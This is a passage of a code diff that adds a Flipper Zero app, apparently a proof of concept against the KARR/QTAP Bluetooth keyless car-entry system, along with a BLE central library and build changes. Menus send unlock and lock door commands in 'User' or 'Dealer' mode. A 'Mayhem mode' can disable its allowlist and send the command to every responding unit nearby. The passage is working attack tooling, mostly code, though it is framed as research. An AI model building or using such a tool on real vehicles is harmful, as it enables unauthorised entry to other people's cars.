app->log_text, "\n%s\n", sent ? "Command sent OK" : "Failed to send command");
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
|
||||
consumed = true;
|
||||
} else if(event.event == KarrPocEvent_AuthFailed) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_auth_on_exit(void* context) {
|
||||
UNUSED(context);
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
ADD_SCENE(karr_poc, start, Start)
|
||||
ADD_SCENE(karr_poc, scan, Scan)
|
||||
ADD_SCENE(karr_poc, device_menu, DeviceMenu)
|
||||
ADD_SCENE(karr_poc, auth, Auth)
|
||||
ADD_SCENE(karr_poc, result, Result)
|
||||
ADD_SCENE(karr_poc, mayhem_menu, MayhemMenu)
|
||||
ADD_SCENE(karr_poc, mayhem_confirm, MayhemConfirm)
|
||||
ADD_SCENE(karr_poc, mayhem_scan, MayhemScan)
|
||||
ADD_SCENE(karr_poc, mayhem_run, MayhemRun)
|
||||
@@ -0,0 +1,86 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
|
||||
typedef enum {
|
||||
KarrPocDeviceMenuIndex_UnlockUser,
|
||||
KarrPocDeviceMenuIndex_LockUser,
|
||||
KarrPocDeviceMenuIndex_UnlockDealer,
|
||||
KarrPocDeviceMenuIndex_LockDealer,
|
||||
} KarrPocDeviceMenuIndex;
|
||||
|
||||
static void karr_poc_scene_device_menu_submenu_callback(void* context, uint32_t index) {
|
||||
KarrPocApp* app = context;
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, index);
|
||||
}
|
||||
|
||||
void karr_poc_scene_device_menu_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
KarrBleDevice* dev = &app->devices[app->selected_device];
|
||||
|
||||
submenu_reset(app->submenu);
|
||||
submenu_set_header(app->submenu, dev->name);
|
||||
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Unlock (mode User)",
|
||||
KarrPocDeviceMenuIndex_UnlockUser,
|
||||
karr_poc_scene_device_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Lock (mode User)",
|
||||
KarrPocDeviceMenuIndex_LockUser,
|
||||
karr_poc_scene_device_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Unlock (mode Dealer)",
|
||||
KarrPocDeviceMenuIndex_UnlockDealer,
|
||||
karr_poc_scene_device_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Lock (mode Dealer)",
|
||||
KarrPocDeviceMenuIndex_LockDealer,
|
||||
karr_poc_scene_device_menu_submenu_callback,
|
||||
app);
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_device_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
switch(event.event) {
|
||||
case KarrPocDeviceMenuIndex_UnlockUser:
|
||||
app->mode = QtMode_User;
|
||||
app->pending_command = QtCmd_UnlockDoors;
|
||||
break;
|
||||
case KarrPocDeviceMenuIndex_LockUser:
|
||||
app->mode = QtMode_User;
|
||||
app->pending_command = QtCmd_LockDoors;
|
||||
break;
|
||||
case KarrPocDeviceMenuIndex_UnlockDealer:
|
||||
app->mode = QtMode_Dealer;
|
||||
app->pending_command = QtCmd_UnlockDoors;
|
||||
break;
|
||||
case KarrPocDeviceMenuIndex_LockDealer:
|
||||
app->mode = QtMode_Dealer;
|
||||
app->pending_command = QtCmd_LockDoors;
|
||||
break;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_Auth);
|
||||
consumed = true;
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_device_menu_on_exit(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
submenu_reset(app->submenu);
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
|
||||
static void karr_poc_scene_mayhem_confirm_widget_callback(
|
||||
GuiButtonType result,
|
||||
InputType type,
|
||||
void* context) {
|
||||
KarrPocApp* app = context;
|
||||
if(type == InputTypeShort) {
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, result);
|
||||
}
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_confirm_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_text_scroll_element(
|
||||
app->widget,
|
||||
0,
|
||||
0,
|
||||
128,
|
||||
44,
|
||||
"ALLOWLIST DISABLED\n\n"
|
||||
"This will send the command\n"
|
||||
"to ALL units that respond\n"
|
||||
"nearby, without filtering.\n\n"
|
||||
"Are you sure?");
|
||||
widget_add_button_element(
|
||||
app->widget, GuiButtonTypeLeft, "Cancel", karr_poc_scene_mayhem_confirm_widget_callback, app);
|
||||
widget_add_button_element(
|
||||
app->widget, GuiButtonTypeRight, "Yes, do it", karr_poc_scene_mayhem_confirm_widget_callback, app);
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_mayhem_confirm_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == GuiButtonTypeRight) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemScan);
|
||||
consumed = true;
|
||||
} else if(event.event == GuiButtonTypeLeft) {
|
||||
scene_manager_search_and_switch_to_previous_scene(app->scene_manager, KarrPocScene_MayhemMenu);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_confirm_on_exit(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
#include <stdio.h>
|
||||
|
||||
static void karr_poc_scene_mayhem_menu_submenu_callback(void* context, uint32_t index) {
|
||||
KarrPocApp* app = context;
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, index);
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_menu_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
submenu_reset(app->submenu);
|
||||
submenu_set_header(app->submenu, "Mayhem mode");
|
||||
|
||||
char allowlist_label[48];
|
||||
snprintf(
|
||||
allowlist_label,
|
||||
sizeof(allowlist_label),
|
||||
"Allowlist: %s (%zu)",
|
||||
app->allowlist_enabled ? "ON" : "OFF",
|
||||
app->allowlist_count);
|
||||
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
allowlist_label,
|
||||
KarrPocEvent_MayhemToggleAllowlist,
|
||||
karr_poc_scene_mayhem_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Unlock All (User)",
|
||||
KarrPocEvent_MayhemUnlockUser,
|
||||
karr_poc_scene_mayhem_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Lock All (User)",
|
||||
KarrPocEvent_MayhemLockUser,
|
||||
karr_poc_scene_mayhem_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Unlock All (Dealer)",
|
||||
KarrPocEvent_MayhemUnlockDealer,
|
||||
karr_poc_scene_mayhem_menu_submenu_callback,
|
||||
app);
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
"Lock All (Dealer)",
|
||||
KarrPocEvent_MayhemLockDealer,
|
||||
karr_poc_scene_mayhem_menu_submenu_callback,
|
||||
app);
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_mayhem_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type != SceneManagerEventTypeCustom) return false;
|
||||
|
||||
if(event.event == KarrPocEvent_MayhemToggleAllowlist) {
|
||||
app->allowlist_enabled = !app->allowlist_enabled;
|
||||
karr_poc_scene_mayhem_menu_on_enter(app);
|
||||
return true;
|
||||
}
|
||||
|
||||
QtMode mode;
|
||||
QtCommand command;
|
||||
|
||||
switch(event.event) {
|
||||
case KarrPocEvent_MayhemUnlockUser:
|
||||
mode = QtMode_User;
|
||||
command = QtCmd_UnlockDoors;
|
||||
break;
|
||||
case KarrPocEvent_MayhemLockUser:
|
||||
mode = QtMode_User;
|
||||
command = QtCmd_LockDoors;
|
||||
break;
|
||||
case KarrPocEvent_MayhemUnlockDealer:
|
||||
mode = QtMode_Dealer;
|
||||
command = QtCmd_UnlockDoors;
|
||||
break;
|
||||
case KarrPocEvent_MayhemLockDealer:
|
||||
mode = QtMode_Dealer;
|
||||
command = QtCmd_LockDoors;
|
||||
break;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
|
||||
app->mayhem_mode = mode;
|
||||
app->mayhem_command = command;
|
||||
|
||||
if(app->allowlist_enabled) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemScan);
|
||||
} else {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemConfirm);
|
||||
}
|
||||
consumed = true;
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_menu_on_exit(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
submenu_reset(app->submenu);
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
#include <string.h>
|
||||
|
||||
static bool karr_poc_device_in_allowlist(KarrPocApp* app, const char* name) {
|
||||
for(size_t i = 0; i < app->allowlist_count; i++) {
|
||||
if(strcmp(app->allowlist[i], name) == 0) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static void karr_poc_scene_mayhem_run_device_callback(
|
||||
const KarrBleDevice* device,
|
||||
KarrMayhemResult result,
|
||||
void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
const char* label;
|
||||
switch(result) {
|
||||
case KarrMayhemResult_Success:
|
||||
label = "OK";
|
||||
break;
|
||||
case KarrMayhemResult_AuthFailed:
|
||||
label = "AUTH FAILED";
|
||||
break;
|
||||
case KarrMayhemResult_ConnectFailed:
|
||||
label = "CONNECT FAILED";
|
||||
break;
|
||||
default:
|
||||
label = "?";
|
||||
break;
|
||||
}
|
||||
|
||||
furi_string_cat_printf(app->log_text, "%s -> %s\n", device->name, label);
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_run_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
text_box_reset(app->text_box);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
|
||||
|
||||
KarrBleDevice targets[KARR_BLE_MAX_DEVICES];
|
||||
size_t target_count = 0;
|
||||
|
||||
for(size_t i = 0; i < app->device_count; i++) {
|
||||
bool allowed = !app->allowlist_enabled || karr_poc_device_in_allowlist(app, app->devices[i].name);
|
||||
if(allowed && target_count < KARR_BLE_MAX_DEVICES) {
|
||||
targets[target_count++] = app->devices[i];
|
||||
}
|
||||
}
|
||||
|
||||
furi_string_cat_printf(
|
||||
app->log_text,
|
||||
"\nMayhem: %zu of %zu units%s\n\n",
|
||||
target_count,
|
||||
app->device_count,
|
||||
app->allowlist_enabled ? " (filtered by allowlist)" : "");
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
|
||||
if(target_count == 0) {
|
||||
furi_string_cat_str(
|
||||
app->log_text, "No units found match the\nallowlist. Nothing to do.\n");
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemRunDone);
|
||||
return;
|
||||
}
|
||||
|
||||
karr_ble_mayhem_run(
|
||||
targets,
|
||||
target_count,
|
||||
app->mayhem_mode,
|
||||
app->mayhem_command,
|
||||
karr_poc_scene_mayhem_run_device_callback,
|
||||
app);
|
||||
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemRunDone);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_mayhem_run_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KarrPocEvent_MayhemRunDone) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_run_on_exit(void* context) {
|
||||
UNUSED(context);
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
#include <string.h>
|
||||
|
||||
#define MAYHEM_SCAN_DURATION_MS 4000
|
||||
|
||||
static void karr_poc_scene_mayhem_scan_ble_callback(
|
||||
KarrBleStatus status,
|
||||
const char* message,
|
||||
void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
if(status == KarrBleStatus_DeviceFound) {
|
||||
if(app->device_count < KARR_BLE_MAX_DEVICES) {
|
||||
KarrBleDevice* dev = &app->devices[app->device_count];
|
||||
strncpy(dev->name, message, KARR_BLE_NAME_MAX_LEN - 1);
|
||||
dev->name[KARR_BLE_NAME_MAX_LEN - 1] = '\0';
|
||||
memset(dev->address, 0, sizeof(dev->address));
|
||||
dev->rssi = 0;
|
||||
app->device_count++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_scan_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
app->device_count = 0;
|
||||
furi_string_reset(app->log_text);
|
||||
text_box_reset(app->text_box);
|
||||
furi_string_cat_str(app->log_text, "Scanning for devices...\n\nPlease wait...\n");
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
|
||||
|
||||
karr_ble_scan_start(karr_poc_scene_mayhem_scan_ble_callback, app);
|
||||
|
||||
furi_delay_ms(MAYHEM_SCAN_DURATION_MS);
|
||||
|
||||
karr_ble_scan_stop();
|
||||
|
||||
furi_string_reset(app->log_text);
|
||||
furi_string_cat_printf(
|
||||
app->log_text, "Scan complete: %zu devices found\n\n", app->device_count);
|
||||
for(size_t i = 0; i < app->device_count; i++) {
|
||||
furi_string_cat_printf(
|
||||
app->log_text, "%zu. %s\n", i + 1, app->devices[i].name);
|
||||
}
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemScanDone);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_mayhem_scan_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KarrPocEvent_MayhemScanDone) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemRun);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_scan_on_exit(void* context) {
|
||||
UNUSED(context);
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
|
||||
static void karr_poc_scene_result_widget_callback(GuiButtonType result, InputType type, void* context) {
|
||||
KarrPocApp* app = context;
|
||||
if(type == InputTypeShort) {
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, result);
|
||||
}
|
||||
}
|
||||
|
||||
void karr_poc_scene_result_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_text_scroll_element(
|
||||
app->widget, 0, 0, 128, 50, furi_string_get_cstr(app->log_text));
|
||||
widget_add_button_element(
|
||||
app->widget, GuiButtonTypeCenter, "Back to start", karr_poc_scene_result_widget_callback, app);
|
||||
|
||||
karr_ble_disconnect();
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == GuiButtonTypeCenter) {
|
||||
scene_manager_search_and_switch_to_previous_scene(app->scene_manager, KarrPocScene_Start);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_result_on_exit(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
#include <string.h>
|
||||
|
||||
static void karr_poc_scene_scan_submenu_callback(void* context, uint32_t index) {
|
||||
KarrPocApp* app = context;
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, index);
|
||||
}
|
||||
|
||||
static void karr_poc_scene_scan_ble_callback(KarrBleStatus status, const char* message, void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
if(status == KarrBleStatus_DeviceFound) {
|
||||
if(app->device_count < KARR_BLE_MAX_DEVICES) {
|
||||
KarrBleDevice* dev = &app->devices[app->device_count];
|
||||
strncpy(dev->name, message, KARR_BLE_NAME_MAX_LEN - 1);
|
||||
dev->name[KARR_BLE_NAME_MAX_LEN - 1] = '\0';
|
||||
memset(dev->address, 0, sizeof(dev->address));
|
||||
dev->rssi = 0;
|
||||
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
dev->name,
|
||||
app->device_count,
|
||||
karr_poc_scene_scan_submenu_callback,
|
||||
app);
|
||||
|
||||
app->device_count++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void karr_poc_scene_scan_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
app->device_count = 0;
|
||||
submenu_reset(app->submenu);
|
||||
submenu_set_header(app->submenu, "Scanning...");
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
|
||||
|
||||
karr_ble_scan_start(karr_poc_scene_scan_ble_callback, app);
|
||||
|
||||
submenu_set_header(app->submenu, "Units found:");
|
||||
}
|
||||
|
||||
bool karr_poc_scene_scan_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
uint32_t index = event.event;
|
||||
if(index < app->device_count) {
|
||||
app->selected_device = index;
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_DeviceMenu);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_scan_on_exit(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
karr_ble_scan_stop();
|
||||
submenu_reset(app->submenu);
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
|
||||
typedef enum {
|
||||
KarrPocStartIndex_Scan,
|
||||
KarrPocStartIndex_Mayhem,
|
||||
KarrPocStartIndex_About,
|
||||
} KarrPocStartIndex;
|
||||
|
||||
static void karr_poc_scene_start_submenu_callback(void* context, uint32_t index) {
|
||||
KarrPocApp* app = context;
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, index);
|
||||
}
|
||||
|
||||
void karr_poc_scene_start_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
submenu_reset(app->submenu);
|
||||
submenu_set_header(app->submenu, "KARR BLE PoC");
|
||||
submenu_add_item(
|
||||
app->submenu, "Scan for units", KarrPocStartIndex_Scan, karr_poc_scene_start_submenu_callback, app);
|
||||
submenu_add_item(
|
||||
app->submenu, "Mayhem mode", KarrPocStartIndex_Mayhem, karr_poc_scene_start_submenu_callback, app);
|
||||
submenu_add_item(
|
||||
app->submenu, "About", KarrPocStartIndex_About, karr_poc_scene_start_submenu_callback, app);
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_start_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KarrPocStartIndex_Scan) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_Scan);
|
||||
consumed = true;
|
||||
} else if(event.event == KarrPocStartIndex_Mayhem) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemMenu);
|
||||
consumed = true;
|
||||
} else if(event.event == KarrPocStartIndex_About) {
|
||||
widget_reset(app->widget);
|
||||
widget_add_text_scroll_element(
|
||||
app->widget,
|
||||
0,
|
||||
0,
|
||||
128,
|
||||
64,
|
||||
"KARR/QTAP BLE PoC\n\n"
|
||||
"BLE remote keyless system\n"
|
||||
"research project.\n\n"
|
||||
"Protocol and cryptography\n"
|
||||
"analysis of the KARR/QTAP\n"
|
||||
"automotive system.\n\n"
|
||||
"See project documentation\n"
|
||||
"for technical details.");
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_start_on_exit(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
submenu_reset(app->submenu);
|
||||
}
|
||||
@@ -27,9 +27,9 @@ COPRO_CUBE_VERSION = "1.20.0"
|
||||
COPRO_CUBE_DIR = "lib/stm32wb_copro"
|
||||
|
||||
# Default radio stack
|
||||
COPRO_STACK_BIN = "stm32wb5x_BLE_Stack_light_fw.bin"
|
||||
# Firmware also supports "ble_full", but it might not fit into debug builds
|
||||
COPRO_STACK_TYPE = "ble_light"
|
||||
COPRO_STACK_BIN = "stm32wb5x_BLE_Stack_full_fw.bin"
|
||||
# Firmware also supports "ble_light", but it might not fit into debug builds
|
||||
COPRO_STACK_TYPE = "ble_full"
|
||||
|
||||
# Leave 0 to let scripts automatically calculate it
|
||||
COPRO_STACK_ADDR = "0x0"
|
||||
|
||||
@@ -41,6 +41,7 @@ libs = env.BuildModules(
|
||||
"update_util",
|
||||
"heatshrink",
|
||||
"ble_profile",
|
||||
"ble_central",
|
||||
"bit_lib",
|
||||
"datetime",
|
||||
"ieee754_parse_wrap",
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
Import("env")
|
||||
|
||||
env.Append(
|
||||
CPPPATH=[
|
||||
"#/lib/ble_central",
|
||||
],
|
||||
SDK_HEADERS=[
|
||||
File("ble_central.h"),
|
||||
],
|
||||
)
|
||||
|
||||
libenv = env.Clone(FW_LIB_NAME="ble_central")
|
||||
libenv.AppendUnique(
|
||||
CCFLAGS=[
|
||||
"-mword-relocations",
|
||||
"-mlong-calls",
|
||||
],
|
||||
)
|
||||
libenv.ApplyLibFlags()
|
||||
|
||||
sources = libenv.GlobRecursive("*.c")
|
||||
|
||||
lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources)
|
||||
libenv.Install("${LIB_DIST_DIR}", lib)
|
||||
Return("lib")
|
||||
@@ -0,0 +1,18 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
uint8_t aci_gap_start_general_discovery_proc(uint16_t LE_Scan_Interval, uint16_t LE_Scan_Window, uint8_t Own_Address_Type, uint8_t Filter_Duplicates);
|
||||
uint8_t aci_gap_terminate_gap_proc(uint8_t Procedure_Code);
|
||||
uint8_t aci_gap_create_connection(uint16_t LE_Scan_Interval, uint16_t LE_Scan_Window, uint8_t Peer_Address_Type, const uint8_t* Peer_Address, uint8_t Own_Address_Type, uint16_t Conn_Interval_Min, uint16_t Conn_Interval_Max, uint16_t Conn_Latency, uint16_t Supervision_Timeout, uint16_t Minimum_CE_Length, uint16_t Maximum_CE_Length);
|
||||
uint8_t hci_disconnect(uint16_t Connection_Handle, uint8_t Reason);
|
||||
uint8_t aci_gatt_disc_all_primary_services(uint16_t Connection_Handle);
|
||||
uint8_t aci_gatt_write_char_value(uint16_t Connection_Handle, uint16_t Attr_Handle, uint8_t Attribute_Val_Length, const uint8_t* Attribute_Val);
|
||||
uint8_t aci_gatt_write_without_resp(uint16_t Connection_Handle, uint16_t Attr_Handle, uint8_t Attribute_Val_Length, const uint8_t* Attribute_Val);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,357 @@
|
||||
#include "ble_central.h"
|
||||
|
||||
#include <ble/ble.h>
|
||||
#include <ble_glue.h>
|
||||
#include <furi_ble/event_dispatcher.h>
|
||||
#include <interface/patterns/ble_thread/tl/hci_tl.h>
|
||||
#include <furi.h>
|
||||
|
||||
#define TAG "BleCentral"
|
||||
#define BLE_CENTRAL_SCAN_INTERVAL 0x100
|
||||
#define BLE_CENTRAL_SCAN_WINDOW 0x50
|
||||
|
||||
typedef struct {
|
||||
BleCentralEventCallback callback;
|
||||
void* context;
|
||||
GapSvcEventHandler* handler_ref;
|
||||
uint16_t connection_handle;
|
||||
bool connected;
|
||||
bool scanning;
|
||||
} BleCentral;
|
||||
|
||||
static BleCentral* ble_central = NULL;
|
||||
|
||||
static const char* ble_central_status_str(uint8_t status) {
|
||||
switch(status) {
|
||||
case 0x00: return "SUCCESS";
|
||||
case 0x01: return "UNKNOWN_HCI_CMD";
|
||||
case 0x02: return "UNKNOWN_CONN_ID";
|
||||
case 0x03: return "HW_FAILURE";
|
||||
case 0x04: return "PAGE_TIMEOUT";
|
||||
case 0x05: return "AUTH_FAILURE";
|
||||
case 0x06: return "PIN_MISSING";
|
||||
case 0x07: return "MEM_CAP_EXCEEDED";
|
||||
case 0x08: return "CONN_TIMEOUT";
|
||||
case 0x09: return "CONN_LIMIT_EXCEEDED";
|
||||
case 0x0A: return "SYNC_CONN_LIMIT_EXCEEDED";
|
||||
case 0x0B: return "ACL_CONN_ALREADY_EXISTS";
|
||||
case 0x0C: return "CMD_DISALLOWED";
|
||||
case 0x0D: return "CONN_REJ_LIMITED_RESOURCES";
|
||||
case 0x0E: return "CONN_REJ_SECURITY_REASONS";
|
||||
case 0x0F: return "CONN_REJ_UNACCEPTABLE_BDADDR";
|
||||
case 0x10: return "CONN_ACCEPT_TIMEOUT";
|
||||
case 0x11: return "UNSUPPORTED_FEATURE";
|
||||
case 0x12: return "INVALID_HCI_CMD_PARAMS";
|
||||
case 0x13: return "REMOTE_USER_TERM_CONN";
|
||||
case 0x14: return "REMOTE_DEV_TERM_CONN_LOW_RESOURCES";
|
||||
case 0x15: return "REMOTE_DEV_TERM_CONN_POWER_OFF";
|
||||
case 0x16: return "CONN_TERM_BY_LOCAL_HOST";
|
||||
case 0x92: return "INVALID_PARAMS";
|
||||
case 0x97: return "ERROR";
|
||||
default: return "UNKNOWN";
|
||||
}
|
||||
}
|
||||
|
||||
static BleCentralAdvertisedDevice* ble_central_parse_advert_report(void* data) {
|
||||
hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)data)->data);
|
||||
if(event_pckt->evt != HCI_LE_META_EVT_CODE) return NULL;
|
||||
|
||||
evt_le_meta_event* meta_evt = (evt_le_meta_event*)event_pckt->data;
|
||||
if(meta_evt->subevent != HCI_LE_ADVERTISING_REPORT_SUBEVT_CODE) return NULL;
|
||||
|
||||
hci_le_advertising_report_event_rp0* adv_rpt =
|
||||
(hci_le_advertising_report_event_rp0*)meta_evt->data;
|
||||
|
||||
if(adv_rpt->Num_Reports == 0) return NULL;
|
||||
|
||||
uint8_t data_len = adv_rpt->Advertising_Report[0].Length_Data;
|
||||
uint8_t* data_ptr = &adv_rpt->Advertising_Report[0].Length_Data + 1;
|
||||
int8_t rssi = *(int8_t*)(data_ptr + data_len);
|
||||
|
||||
BleCentralAdvertisedDevice* device = malloc(sizeof(BleCentralAdvertisedDevice));
|
||||
device->address_type = adv_rpt->Advertising_Report[0].Address_Type;
|
||||
memcpy(device->address, adv_rpt->Advertising_Report[0].Address, 6);
|
||||
device->rssi = rssi;
|
||||
device->name[0] = '\0';
|
||||
|
||||
uint8_t pos = 0;
|
||||
while(pos < data_len) {
|
||||
uint8_t field_len = data_ptr[pos];
|
||||
if(field_len == 0) break;
|
||||
uint8_t field_type = data_ptr[pos + 1];
|
